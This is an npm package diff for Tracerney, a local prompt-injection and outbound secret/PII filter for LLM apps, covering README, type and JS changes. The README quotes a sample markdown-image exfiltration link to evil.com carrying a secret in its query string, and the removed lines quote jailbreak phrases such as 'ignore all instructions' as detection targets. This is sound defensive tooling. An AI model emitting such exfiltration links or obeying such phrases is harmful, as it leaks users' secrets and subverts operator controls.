@sandrobuilds/tracerney 0.9.21 → 0.9.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,6 +1,6 @@
1
1
  # Tracerney
2
2
 
3
- Lightweight prompt injection detection for LLM applications. Runs 100% locally with zero data leaving your server.
3
+ Lightweight prompt injection detection and outbound PII/secret filtering for LLM applications. Runs 100% locally with zero data leaving your server.
4
4
 
5
5
  > 🚀 **Explore the full platform at [tracerney.com](https://www.tracerney.com)** — includes dashboard, analytics, API management, and team collaboration tools.
6
6
 
@@ -10,199 +10,194 @@ Lightweight prompt injection detection for LLM applications. Runs 100% locally w
10
10
  npm install @sandrobuilds/tracerney
11
11
  ```
12
12
 
13
- ## Usage
13
+ ---
14
+
15
+ ## Layer 1: The Deterministic Filter
16
+
17
+ A high-speed, synchronous sensor that scans every LLM **response** before it reaches your user. Target latency: **<5ms**. No LLM needed — pure regex.
18
+
19
+ The SDK never decides for you. It labels every finding and hands you the keys.
20
+
21
+ ### The `validate()` API
14
22
 
15
23
  ```typescript
16
24
  import { Tracerney } from '@sandrobuilds/tracerney';
17
25
 
18
- const tracer = new Tracerney();
26
+ const tracerney = new Tracerney();
19
27
 
20
- const result = await tracer.scanPrompt(userInput);
28
+ const trace = tracerney.validate(agentOutput);
21
29
 
22
- if (result.suspicious) {
23
- console.log('⚠️ Suspicious:', result.patternName);
24
- // Handle flagged prompt (log, block, rate-limit, etc.)
30
+ if (trace.isSuspicious) {
31
+ console.log(`[${trace.label}]: ${trace.reason}`);
32
+
33
+ // Option A: Hard block
34
+ if (trace.label === 'SUSPICIOUS_EGRESS') {
35
+ throw new Error('Security Policy Violation');
36
+ }
37
+
38
+ // Option B: Surgical scrub — return pre-computed redacted version
39
+ return trace.redactedContent;
25
40
  }
26
41
  ```
27
42
 
28
- ## What's Included
43
+ ### The Suspicious Manifest
29
44
 
30
- - **258 embedded attack patterns** real-world injection techniques detected in real-time
31
- - **Local detection** — <5ms latency per prompt, zero network overhead
32
- - **Zero dependencies** — single npm package
33
- - **Privacy-first** — no data leaves your server, 100% local processing
45
+ Every finding is labeled so you can route your own reaction:
34
46
 
35
- ## Result Object
47
+ | Trigger | Label | `redactedContent` token | Recommended action |
48
+ |---|---|---|---|
49
+ | Email / Phone | `SUSPICIOUS_PII` | `[SUSPICIOUS_PII:EMAIL]` | Usually Redact |
50
+ | API Keys / SSH / CC / SSN | `SUSPICIOUS_SECRET` | `[SUSPICIOUS_SECRET:ANTHROPIC_API_KEY]` | Usually Block |
51
+ | External URL smuggling | `SUSPICIOUS_EGRESS` | `[SUSPICIOUS_EGRESS:MARKDOWN_IMAGE_SMUGGLING]` | Always Block |
52
+ | Zero-width / BiDi / Base64 | `SUSPICIOUS_ENCODING` | `[SUSPICIOUS_ENCODING:BIDI_OVERRIDE]` | Audit / Block |
36
53
 
37
- ### Layer 1 (Pattern Detection)
38
- ```typescript
39
- {
40
- suspicious: boolean; // true if pattern matched
41
- patternName?: string; // e.g., "Ignore Instructions"
42
- severity?: string; // "CRITICAL" | "HIGH" | "MEDIUM" | "LOW"
43
- blocked: boolean; // false (Layer 1 only marks suspicious)
44
- }
45
- ```
54
+ ### `SuspiciousTrace` object
46
55
 
47
- ### Layer 2 (LLM Sentinel)
48
56
  ```typescript
49
- {
50
- action: "BLOCK" | "ALLOW"; // Final decision from LLM Sentinel
51
- confidence: number; // 0.0 to 1.0 confidence score
52
- class: string; // Threat classification (e.g., "jailbreak_llm_detected")
53
- fingerprint: string; // Unique threat identifier for tracking
54
- }
57
+ const trace = tracerney.validate(agentOutput);
58
+
59
+ trace.isSuspicious // boolean true if any pattern matched
60
+ trace.label // 'SUSPICIOUS_PII' | 'SUSPICIOUS_SECRET' | 'SUSPICIOUS_EGRESS' | 'SUSPICIOUS_ENCODING' | null
61
+ trace.reason // "Detected 2 finding(s): Email Address, AWS Access Key ID"
62
+ trace.redactedContent // pre-scrubbed version of the input — use it or throw, your call
63
+ trace.findings // full per-pattern breakdown for logging/telemetry
55
64
  ```
56
65
 
57
- ## Detected Patterns
66
+ ### What Layer 1 detects
67
+
68
+ **`SUSPICIOUS_PII`** — Accidental personal data exposure
69
+ - Email addresses
70
+ - US phone numbers
58
71
 
59
- - Instruction overrides ("ignore all instructions")
60
- - Role-play jailbreaks ("act as unrestricted AI")
61
- - Hypothetical constraint bypass ("what would you do without constraints?")
62
- - Context confusion attacks
63
- - Data extraction attempts
64
- - Code execution risks
65
- - And 254 more...
72
+ **`SUSPICIOUS_SECRET`** High-value credential leaks
73
+ - Anthropic, OpenAI, Stripe, GitHub, AWS, Google, Slack, SendGrid, Twilio API keys
74
+ - SSH / PEM private key blocks
75
+ - Credit card numbers (Visa, Mastercard, Amex, Discover)
76
+ - US Social Security Numbers
66
77
 
67
- ## Multi-Layer Runtime Defense
78
+ **`SUSPICIOUS_EGRESS`** Active data exfiltration attempts
79
+ - Markdown image tags with URL query params: `![x](https://evil.com/log.png?config=secret)`
80
+ - Markdown links smuggling data via query params
81
+ - Credential-embedded URLs: `https://user:password@hostname`
82
+ - Base64 payloads in URL parameters
68
83
 
69
- **Layer 1:** Pattern Matching (Always Free)
70
- - 258 real-world attack patterns in real-time
71
- - <5ms detection on modern hardware
72
- - Zero network overhead
73
- - Local processing only
74
- - Detects: instruction overrides, role-play jailbreaks, context confusion, code execution risks, data extraction attempts, and more
84
+ **`SUSPICIOUS_ENCODING`** Obfuscation and hidden data
85
+ - Zero-width characters (`\u200B`, `\u200C`, `\uFEFF`, etc.)
86
+ - Unicode bidirectional override characters (BiDi attacks)
87
+ - Standalone base64 blobs (≥120 chars) outside of URLs
75
88
 
76
- **Layer 2:** LLM Sentinel (Pro - $9/month)
77
- - **AI-powered response verification** — LLM-based analysis for novel attack patterns
78
- - **Context-aware scanning** — understands your application's specific security policies
79
- - **Delimiter salting** — prevents prompt injection through response boundaries
80
- - **Zero prompt storage** — responses are analyzed in-memory, never saved or logged
81
- - **Structured threat metadata** — detailed fingerprints for audit trails and tracking
82
- - **Advanced rate limiting** — prevents cost spikes with intelligent throttling
89
+ ### Developer decision guide
83
90
 
84
- ## Layer 2: LLM Sentinel Deep Dive
91
+ ```typescript
92
+ const trace = tracerney.validate(agentOutput);
93
+
94
+ if (!trace.isSuspicious) {
95
+ return agentOutput; // clean
96
+ }
85
97
 
86
- Layer 2 adds advanced security with LLM Sentinel, an AI-powered verification system that analyzes LLM responses for injection patterns and validates output safety. Combines local pattern detection (Layer 1) with server-side verification for defense-in-depth protection.
98
+ switch (trace.label) {
99
+
100
+ case 'SUSPICIOUS_PII':
101
+ // Low risk — agent is being too "talkative"
102
+ // Redact and continue; don't break the user's flow
103
+ return trace.redactedContent;
104
+
105
+ case 'SUSPICIOUS_SECRET':
106
+ // High risk — agent leaked a credential
107
+ // Redact before sending, fire an alert
108
+ myAlerts.fire({ label: trace.label, reason: trace.reason });
109
+ return trace.redactedContent;
110
+
111
+ case 'SUSPICIOUS_EGRESS':
112
+ // Critical — agent is trying to exfiltrate data
113
+ // Kill the process. The caller gets nothing.
114
+ throw new SecurityError('Egress attack detected');
115
+
116
+ case 'SUSPICIOUS_ENCODING':
117
+ // Critical — hidden/obfuscated payload
118
+ // Audit and block; send for review
119
+ myAlerts.fire({ label: trace.label, reason: trace.reason });
120
+ throw new SecurityError('Encoding attack detected');
121
+ }
122
+ ```
87
123
 
88
- ### How Layer 1 & Layer 2 Work Together
124
+ ---
89
125
 
90
- | **Layer 1: Pattern Detection (Free SDK)** | **Layer 2: LLM Sentinel (Pro)** |
91
- |---|---|
92
- | Local pattern matching | Server-side verification |
93
- | 258 attack patterns | Output validation |
94
- | <5ms latency | JSON safety checks |
95
- | No data leaves device | Delimiter salting |
96
- | Zero network calls | Context-aware analysis |
126
+ ## Layer 1 + LLM Pipeline: `wrap()`
97
127
 
98
- ### Enabling Layer 2
128
+ If you want automatic protection wired into your LLM call, use `wrap()`. It runs Layer 1 on the response before returning it to you, and applies the same label-based routing:
99
129
 
100
- Initialize Tracerney with Layer 2 LLM Sentinel (Pro plan required):
130
+ - `SUSPICIOUS_EGRESS` throws `ShieldBlockError` (caller gets nothing)
131
+ - `SUSPICIOUS_SECRET` / `SUSPICIOUS_ENCODING` → emits a `PII_LEAK` telemetry event, returns scrubbed response
132
+ - `SUSPICIOUS_PII` → returns scrubbed response silently
101
133
 
102
134
  ```typescript
103
- const tracer = new Tracerney({
104
- apiKey: process.env.TRACERNEY_API_KEY,
105
- sentinelEnabled: true,
106
- });
135
+ const response = await tracerney.wrap(
136
+ () => openai.chat.completions.create({ model: 'gpt-4o', messages }),
137
+ { prompt: userInput } // optional: also scan the inbound prompt
138
+ );
139
+ // response.choices[0].message.content is already scrubbed
107
140
  ```
108
141
 
109
- That's it! Layer 2 is automatically configured to use the hosted LLM Sentinel service. Your API key authenticates requests and verifies your Pro subscription.
142
+ ---
143
+
144
+ ## Layer 2: LLM Sentinel
145
+
146
+ Layer 2 adds AI-powered verification for novel attack patterns not covered by regex. It runs after Layer 1 marks a prompt suspicious, using a hosted LLM to confirm or clear the threat.
110
147
 
111
- ### Custom Layer 2 Configuration (Advanced)
148
+ **Layer 1 (Free)** | **Layer 2 (Pro — $9/month)**
149
+ ---|---
150
+ Local regex, <5ms | Server-side LLM analysis
151
+ 258 attack patterns | Context-aware threat detection
152
+ No network calls | Zero prompt storage
153
+ Always on | Activates only on Layer 1 hits
112
154
 
113
- Want to self-host Layer 2 or use a custom implementation? Override the sentinel endpoint:
155
+ ### Enable Layer 2
114
156
 
115
157
  ```typescript
116
- const tracer = new Tracerney({
158
+ const tracerney = new Tracerney({
117
159
  apiKey: process.env.TRACERNEY_API_KEY,
118
160
  sentinelEnabled: true,
119
- baseUrl: process.env.TRACERNEY_BASE_URL, // e.g., http://localhost:3000 or https://myapp.com
120
- sentinelEndpoint: process.env.TRACERNEY_SENTINEL_ENDPOINT, // e.g., /api/v1/verify-prompt
121
161
  });
122
162
  ```
123
163
 
124
- **Self-hosting Layer 2?** You can build your own verification endpoint using the same pattern as our hosted service. Contact support for self-hosting guidance.
164
+ ### Layer 2 response format
125
165
 
126
- ### Scanning with Layer 2
127
-
128
- With Layer 2 enabled, `scanPrompt` validates both input and LLM responses. Handle errors appropriately:
166
+ ```json
167
+ // Safe
168
+ { "action": "ALLOW", "confidence": 0.15, "class": "safe_content", "fingerprint": "a3f7k2" }
129
169
 
130
- ```typescript
131
- try {
132
- // Scan input (Layer 1 + Layer 2)
133
- const result = await tracer.scanPrompt(userInput);
134
- // If we get here, input is safe. Call LLM
135
- const llmResponse = await llm.chat(userInput);
136
- // Verify LLM output wasn't compromised
137
- const outputCheck = await tracer.verifyOutput(llmResponse);
138
- return llmResponse;
139
- } catch (err) {
140
- if (err instanceof ShieldBlockError) {
141
- return NextResponse.json(
142
- { error: "Input content is flagged as suspicious" },
143
- { status: 400 }
144
- );
145
- }
146
- throw err;
147
- }
170
+ // Blocked
171
+ { "action": "BLOCK", "confidence": 0.99, "class": "jailbreak_semantic_pattern", "fingerprint": "c1p5n3" }
148
172
  ```
149
173
 
150
- ### API Response Format
174
+ ---
151
175
 
152
- The verify-prompt endpoint returns structured responses. Success (HTTP 200) includes classification, confidence, and fingerprint. Errors include specific error codes and messages.
176
+ ## Inbound prompt scanning: `scanPrompt()`
153
177
 
154
- #### ✅ Content is Safe (HTTP 200)
155
- ```json
156
- {
157
- "action": "ALLOW",
158
- "confidence": 0.15,
159
- "class": "safe_content",
160
- "fingerprint": "a3f7k2"
161
- }
162
- ```
178
+ ```typescript
179
+ const result = await tracerney.scanPrompt(userInput);
163
180
 
164
- #### 🔴 Content is Blocked (HTTP 200)
165
- ```json
166
- {
167
- "action": "BLOCK",
168
- "confidence": 0.99,
169
- "class": "jailbreak_semantic_pattern",
170
- "fingerprint": "c1p5n3"
181
+ if (result.suspicious) {
182
+ console.log('Suspicious:', result.patternName, result.severity);
171
183
  }
172
184
  ```
173
185
 
174
- #### ⚠️ Quota Exceeded (HTTP 402)
175
- ```json
176
- {
177
- "blocked": true,
178
- "reason": "scan_limit_exceeded",
179
- "scansUsed": 50,
180
- "limit": 50,
181
- "message": "Free plan limit reached (50/month)..."
182
- }
186
+ ```typescript
187
+ result.suspicious // boolean
188
+ result.patternName // e.g. "Ignore Instructions"
189
+ result.severity // "CRITICAL" | "HIGH" | "MEDIUM" | "LOW"
190
+ result.blocked // true only if Layer 2 confirmed the attack
183
191
  ```
184
192
 
185
193
  ---
186
194
 
187
- ## Pricing & Usage
188
-
189
- - **Free Tier:** 50 scans/month with Layer 1 pattern detection
190
- - **Pro Tier:** 2,500 scans/month with Layer 1 + Layer 2 LLM verification ($9/month)
191
-
192
- ---
193
-
194
- ## Ready for Advanced Protection?
195
-
196
- Layer 2 (LLM Sentinel) adds AI-powered verification with **context-aware** threat detection and **zero prompt storage** — all responses are analyzed in-memory and immediately discarded.
195
+ ## Pricing
197
196
 
198
- **[Start Your Free Trial or Upgrade to Pro](https://www.tracerney.com/docs)** at tracerney.com
197
+ - **Free:** 50 scans/month Layer 1 pattern detection
198
+ - **Pro ($9/month):** 2,500 scans/month — Layer 1 + Layer 2 LLM Sentinel
199
199
 
200
- Includes:
201
- - Dashboard with threat analytics
202
- - API key management
203
- - Team collaboration features
204
- - Detailed threat fingerprints for compliance
205
- - Priority support for Pro members
200
+ **[Start free or upgrade at tracerney.com](https://www.tracerney.com/docs)**
206
201
 
207
202
  ---
208
203
 
@@ -3,6 +3,7 @@
3
3
  * Core orchestrator: wires domain services + infrastructure adapters
4
4
  * Fixes all 5 integration gaps from the original design
5
5
  */
6
+ import { type SuspiciousTrace } from "../domain/pii/DeterministicFilter";
6
7
  import { type ToolPolicy } from "../domain/guard/ToolPolicy";
7
8
  import { ILLMProvider, type LLMResponse } from "./ports/ILLMProvider";
8
9
  import { ISentinel } from "./ports/ISentinel";
@@ -30,6 +31,7 @@ export interface ScanResult {
30
31
  severity?: string;
31
32
  blocked: boolean;
32
33
  }
34
+ export type { SuspiciousTrace };
33
35
  export interface ServiceStatus {
34
36
  patternMatcher: {
35
37
  ready: boolean;
@@ -46,6 +48,7 @@ export interface ServiceStatus {
46
48
  export declare class ShieldApplicationService {
47
49
  private readonly config;
48
50
  private patternMatcher;
51
+ private readonly deterministicFilter;
49
52
  private toolGuard;
50
53
  private telemetrySink?;
51
54
  private llmProvider?;
@@ -76,6 +79,11 @@ export declare class ShieldApplicationService {
76
79
  * - Jitter: Add random delay to obfuscate timing
77
80
  */
78
81
  scanPrompt(prompt: string, requestId?: string): Promise<ScanResult>;
82
+ /**
83
+ * Layer 1: Scan any string for suspicious content.
84
+ * Returns a SuspiciousTrace — the SDK never decides for you.
85
+ */
86
+ validate(text: string): SuspiciousTrace;
79
87
  /**
80
88
  * Update tool policy at runtime
81
89
  */
@@ -1 +1 @@
1
- {"version":3,"file":"ShieldApplicationService.d.ts","sourceRoot":"","sources":["../../src/application/ShieldApplicationService.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAIH,OAAO,EAAoB,KAAK,UAAU,EAAE,MAAM,4BAA4B,CAAC;AAO/E,OAAO,EAAE,YAAY,EAAE,KAAK,WAAW,EAAE,MAAM,sBAAsB,CAAC;AACtE,OAAO,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAC9C,OAAO,EAAE,cAAc,EAAE,MAAM,wBAAwB,CAAC;AACxD,OAAO,EAAE,kBAAkB,EAAE,MAAM,4BAA4B,CAAC;AAGhE,OAAO,EAAE,iBAAiB,EAAyB,MAAM,6BAA6B,CAAC;AAIvF,MAAM,WAAW,8BAA8B;IAC7C,iBAAiB,EAAE,kBAAkB,CAAC;IACtC,aAAa,CAAC,EAAE,cAAc,CAAC;IAC/B,UAAU,EAAE,UAAU,CAAC;IACvB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,WAAW,CAAC,EAAE,YAAY,CAAC;IAC3B,QAAQ,CAAC,EAAE,SAAS,CAAC;IACrB,aAAa,CAAC,EAAE,iBAAiB,CAAC;CACnC;AAED,MAAM,WAAW,WAAW;IAC1B,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,QAAQ,CAAC,EAAE,MAAM,CAAC;CACnB;AAED,MAAM,WAAW,UAAU;IACzB,UAAU,EAAE,OAAO,CAAC;IACpB,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,OAAO,EAAE,OAAO,CAAC;CAClB;AAED,MAAM,WAAW,aAAa;IAC5B,cAAc,EAAE;QACd,KAAK,EAAE,OAAO,CAAC;QACf,KAAK,CAAC,EAAE,OAAO,CAAC;KACjB,CAAC;IACF,SAAS,EAAE;QACT,YAAY,EAAE,SAAS,MAAM,EAAE,CAAC;KACjC,CAAC;IACF,SAAS,EAAE;QACT,OAAO,EAAE,OAAO,CAAC;QACjB,MAAM,CAAC,EAAE,OAAO,CAAC;KAClB,CAAC;CACH;AAED,qBAAa,wBAAwB;IASvB,OAAO,CAAC,QAAQ,CAAC,MAAM;IARnC,OAAO,CAAC,cAAc,CAAiB;IACvC,OAAO,CAAC,SAAS,CAAY;IAC7B,OAAO,CAAC,aAAa,CAAC,CAAiB;IACvC,OAAO,CAAC,WAAW,CAAC,CAAe;IACnC,OAAO,CAAC,QAAQ,CAAC,CAAY;IAE7B,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAS;gBAEP,MAAM,EAAE,8BAA8B;IAenE;;;OAGG;IACH,OAAO,CAAC,oBAAoB;IAmB5B;;;;;;OAMG;IACG,IAAI,CAAC,CAAC,SAAS,WAAW,EAC9B,OAAO,EAAE,MAAM,OAAO,CAAC,CAAC,CAAC,EACzB,OAAO,CAAC,EAAE,WAAW,GACpB,OAAO,CAAC,CAAC,CAAC;IAuDb;;;;;;;;;OASG;IACG,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,SAAS,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,UAAU,CAAC;IAmFzE;;OAEG;IACH,eAAe,CAAC,KAAK,EAAE,SAAS,MAAM,EAAE,GAAG,IAAI;IAK/C;;OAEG;IACH,SAAS,IAAI,aAAa;IAgB1B;;OAEG;IACH,OAAO,CAAC,MAAM;IAMd;;OAEG;IACH,OAAO,IAAI,IAAI;IAIf;;OAEG;IACH,OAAO,CAAC,iBAAiB;CAG1B"}
1
+ {"version":3,"file":"ShieldApplicationService.d.ts","sourceRoot":"","sources":["../../src/application/ShieldApplicationService.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,OAAO,EAAuB,KAAK,eAAe,EAAsB,MAAM,mCAAmC,CAAC;AAElH,OAAO,EAAoB,KAAK,UAAU,EAAE,MAAM,4BAA4B,CAAC;AAO/E,OAAO,EAAE,YAAY,EAAE,KAAK,WAAW,EAAE,MAAM,sBAAsB,CAAC;AACtE,OAAO,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAC9C,OAAO,EAAE,cAAc,EAAE,MAAM,wBAAwB,CAAC;AACxD,OAAO,EAAE,kBAAkB,EAAE,MAAM,4BAA4B,CAAC;AAGhE,OAAO,EAAE,iBAAiB,EAAyB,MAAM,6BAA6B,CAAC;AAIvF,MAAM,WAAW,8BAA8B;IAC7C,iBAAiB,EAAE,kBAAkB,CAAC;IACtC,aAAa,CAAC,EAAE,cAAc,CAAC;IAC/B,UAAU,EAAE,UAAU,CAAC;IACvB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,WAAW,CAAC,EAAE,YAAY,CAAC;IAC3B,QAAQ,CAAC,EAAE,SAAS,CAAC;IACrB,aAAa,CAAC,EAAE,iBAAiB,CAAC;CACnC;AAED,MAAM,WAAW,WAAW;IAC1B,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,QAAQ,CAAC,EAAE,MAAM,CAAC;CACnB;AAED,MAAM,WAAW,UAAU;IACzB,UAAU,EAAE,OAAO,CAAC;IACpB,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,OAAO,EAAE,OAAO,CAAC;CAClB;AAED,YAAY,EAAE,eAAe,EAAE,CAAC;AAEhC,MAAM,WAAW,aAAa;IAC5B,cAAc,EAAE;QACd,KAAK,EAAE,OAAO,CAAC;QACf,KAAK,CAAC,EAAE,OAAO,CAAC;KACjB,CAAC;IACF,SAAS,EAAE;QACT,YAAY,EAAE,SAAS,MAAM,EAAE,CAAC;KACjC,CAAC;IACF,SAAS,EAAE;QACT,OAAO,EAAE,OAAO,CAAC;QACjB,MAAM,CAAC,EAAE,OAAO,CAAC;KAClB,CAAC;CACH;AAED,qBAAa,wBAAwB;IAUvB,OAAO,CAAC,QAAQ,CAAC,MAAM;IATnC,OAAO,CAAC,cAAc,CAAiB;IACvC,OAAO,CAAC,QAAQ,CAAC,mBAAmB,CAAsB;IAC1D,OAAO,CAAC,SAAS,CAAY;IAC7B,OAAO,CAAC,aAAa,CAAC,CAAiB;IACvC,OAAO,CAAC,WAAW,CAAC,CAAe;IACnC,OAAO,CAAC,QAAQ,CAAC,CAAY;IAE7B,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAS;gBAEP,MAAM,EAAE,8BAA8B;IAkBnE;;;OAGG;IACH,OAAO,CAAC,oBAAoB;IAmB5B;;;;;;OAMG;IACG,IAAI,CAAC,CAAC,SAAS,WAAW,EAC9B,OAAO,EAAE,MAAM,OAAO,CAAC,CAAC,CAAC,EACzB,OAAO,CAAC,EAAE,WAAW,GACpB,OAAO,CAAC,CAAC,CAAC;IA6Gb;;;;;;;;;OASG;IACG,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,SAAS,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,UAAU,CAAC;IAmFzE;;;OAGG;IACH,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,eAAe;IAIvC;;OAEG;IACH,eAAe,CAAC,KAAK,EAAE,SAAS,MAAM,EAAE,GAAG,IAAI;IAK/C;;OAEG;IACH,SAAS,IAAI,aAAa;IAgB1B;;OAEG;IACH,OAAO,CAAC,MAAM;IAMd;;OAEG;IACH,OAAO,IAAI,IAAI;IAIf;;OAEG;IACH,OAAO,CAAC,iBAAiB;CAG1B"}
@@ -4,6 +4,7 @@
4
4
  * Fixes all 5 integration gaps from the original design
5
5
  */
6
6
  import { PatternMatcher } from '../domain/detection/PatternMatcher.js';
7
+ import { DeterministicFilter } from '../domain/pii/DeterministicFilter.js';
7
8
  import { ToolGuard } from '../domain/guard/ToolGuard.js';
8
9
  import { createToolPolicy } from '../domain/guard/ToolPolicy.js';
9
10
  import { createSecurityEvent, SecurityEventType, ThreatSeverity, } from '../domain/events/index.js';
@@ -20,6 +21,8 @@ export class ShieldApplicationService {
20
21
  this.sentinel = config.sentinel; // Layer 2
21
22
  // this.shadowLogSink = config.shadowLogSink; // Disabled for now
22
23
  this.sdkVersion = config.sdkVersion ?? "0.2.0";
24
+ // Layer 1: deterministic outbound filter (singleton, stateless)
25
+ this.deterministicFilter = new DeterministicFilter();
23
26
  // Initialize patterns synchronously (bundled patterns always available)
24
27
  this.patternMatcher = new PatternMatcher(BUNDLED_PATTERNS);
25
28
  // Load remote patterns in background if configured (zero-day updates)
@@ -63,9 +66,45 @@ export class ShieldApplicationService {
63
66
  // Layer 1 just marks suspicious=true, doesn't block
64
67
  }
65
68
  // Execute the LLM call
66
- const response = await llmCall();
67
- // FIX GAP 2: Compute and store latencyMs in event metadata
69
+ const rawResponse = await llmCall();
70
+ // ── Layer 1 (Outbound): Deterministic Filter ─────────────────────────
71
+ // Synchronous regex pass — <5ms, runs before the caller ever sees the text.
72
+ //
73
+ // The filter is a SENSOR, not a policy enforcer.
74
+ // It labels every finding with a SuspiciousLabel and pre-computes redactedContent.
75
+ // ShieldApplicationService acts on the label:
76
+ //
77
+ // SUSPICIOUS_EGRESS → throw (active exfiltration, caller gets nothing)
78
+ // SUSPICIOUS_SECRET → emit PII_LEAK alert, return redacted response
79
+ // SUSPICIOUS_ENCODING → emit PII_LEAK alert, return redacted response
80
+ // SUSPICIOUS_PII → return redacted response silently
81
+ const { response, outcome: filterOutcome } = this.deterministicFilter.filterResponse(rawResponse);
68
82
  const latencyMs = Date.now() - startTime;
83
+ const trace = filterOutcome.trace;
84
+ if (trace.isSuspicious && trace.label) {
85
+ if (trace.label === "SUSPICIOUS_EGRESS") {
86
+ // Active exfiltration — kill the process, caller gets nothing.
87
+ const event = createSecurityEvent(requestId, SecurityEventType.SUSPICIOUS_EGRESS, ThreatSeverity.CRITICAL, `Layer 1: ${trace.reason}`, {
88
+ patternName: trace.findings[0]?.patternName,
89
+ blockLatencyMs: latencyMs,
90
+ modelName: options?.modelName,
91
+ provider: options?.provider,
92
+ }, startTime);
93
+ this.report(event);
94
+ throw new ShieldBlockError("Tracerney Block: Suspicious Egress Detected", event);
95
+ }
96
+ if (trace.label === "SUSPICIOUS_SECRET" || trace.label === "SUSPICIOUS_ENCODING") {
97
+ // Accidental leak of high-value data — alert, but return the scrubbed response.
98
+ const event = createSecurityEvent(requestId, SecurityEventType.PII_LEAK, ThreatSeverity.HIGH, `Layer 1: ${trace.reason}`, {
99
+ patternName: trace.findings[0]?.patternName,
100
+ blockLatencyMs: latencyMs,
101
+ modelName: options?.modelName,
102
+ provider: options?.provider,
103
+ }, startTime);
104
+ this.report(event);
105
+ }
106
+ // SUSPICIOUS_PII (email/phone) → return scrubbed response silently, no event.
107
+ }
69
108
  // Validate tool calls against policy
70
109
  const toolCalls = response.choices?.[0]?.message?.tool_calls;
71
110
  const violation = this.toolGuard.validate(toolCalls, requestId);
@@ -171,6 +210,13 @@ export class ShieldApplicationService {
171
210
  await jitter();
172
211
  }
173
212
  }
213
+ /**
214
+ * Layer 1: Scan any string for suspicious content.
215
+ * Returns a SuspiciousTrace — the SDK never decides for you.
216
+ */
217
+ validate(text) {
218
+ return this.deterministicFilter.validate(text);
219
+ }
174
220
  /**
175
221
  * Update tool policy at runtime
176
222
  */
@@ -1 +1 @@
1
- {"version":3,"file":"ShieldApplicationService.js","sourceRoot":"","sources":["../../src/application/ShieldApplicationService.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,cAAc,EAAE,MAAM,oCAAoC,CAAC;AACpE,OAAO,EAAE,SAAS,EAAiB,MAAM,2BAA2B,CAAC;AACrE,OAAO,EAAE,gBAAgB,EAAmB,MAAM,4BAA4B,CAAC;AAC/E,OAAO,EACL,mBAAmB,EACnB,iBAAiB,EACjB,cAAc,GAEf,MAAM,kBAAkB,CAAC;AAK1B,OAAO,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AACtD,OAAO,EAAE,eAAe,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAElD,OAAO,EAAE,gBAAgB,EAAE,MAAM,6CAA6C,CAAC;AAC/E,OAAO,EAAE,wBAAwB,EAAE,MAAM,qDAAqD,CAAC;AAwC/F,MAAM,OAAO,wBAAwB;IASnC,YAA6B,MAAsC;QAAtC,WAAM,GAAN,MAAM,CAAgC;QACjE,IAAI,CAAC,SAAS,GAAG,IAAI,SAAS,CAAC,MAAM,CAAC,UAAU,CAAC,CAAC;QAClD,IAAI,CAAC,aAAa,GAAG,MAAM,CAAC,aAAa,CAAC;QAC1C,IAAI,CAAC,WAAW,GAAG,MAAM,CAAC,WAAW,CAAC;QACtC,IAAI,CAAC,QAAQ,GAAG,MAAM,CAAC,QAAQ,CAAC,CAAC,UAAU;QAC3C,iEAAiE;QACjE,IAAI,CAAC,UAAU,GAAG,MAAM,CAAC,UAAU,IAAI,OAAO,CAAC;QAE/C,wEAAwE;QACxE,IAAI,CAAC,cAAc,GAAG,IAAI,cAAc,CAAC,gBAAgB,CAAC,CAAC;QAE3D,sEAAsE;QACtE,IAAI,CAAC,oBAAoB,EAAE,CAAC;IAC9B,CAAC;IAED;;;OAGG;IACK,oBAAoB;QAC1B,mDAAmD;QACnD,IAAI,IAAI,CAAC,MAAM,CAAC,iBAAiB,YAAY,wBAAwB,KAAK,KAAK,EAAE,CAAC;YAChF,IAAI,CAAC,MAAM,CAAC,iBAAiB;iBAC1B,WAAW,EAAE;iBACb,IAAI,CAAC,CAAC,QAAQ,EAAE,EAAE;gBACjB,IAAI,QAAQ,IAAI,QAAQ,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;oBACpC,IAAI,CAAC,cAAc,GAAG,IAAI,cAAc,CAAC,QAAQ,CAAC,CAAC;gBACrD,CAAC;YACH,CAAC,CAAC;iBACD,KAAK,CAAC,CAAC,GAAG,EAAE,EAAE;gBACb,OAAO,CAAC,IAAI,CACV,iEAAiE,EACjE,GAAG,CACJ,CAAC;YACJ,CAAC,CAAC,CAAC;QACP,CAAC;IACH,CAAC;IAED;;;;;;OAMG;IACH,KAAK,CAAC,IAAI,CACR,OAAyB,EACzB,OAAqB;QAErB,MAAM,SAAS,GAAG,OAAO,EAAE,SAAS,IAAI,IAAI,CAAC,iBAAiB,EAAE,CAAC;QACjE,MAAM,SAAS,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QAE7B,IAAI,CAAC;YACH,gDAAgD;YAChD,iFAAiF;YACjF,IAAI,OAAO,EAAE,MAAM,EAAE,CAAC;gBACpB,MAAM,UAAU,GAAG,MAAM,IAAI,CAAC,UAAU,CAAC,OAAO,CAAC,MAAM,EAAE,SAAS,CA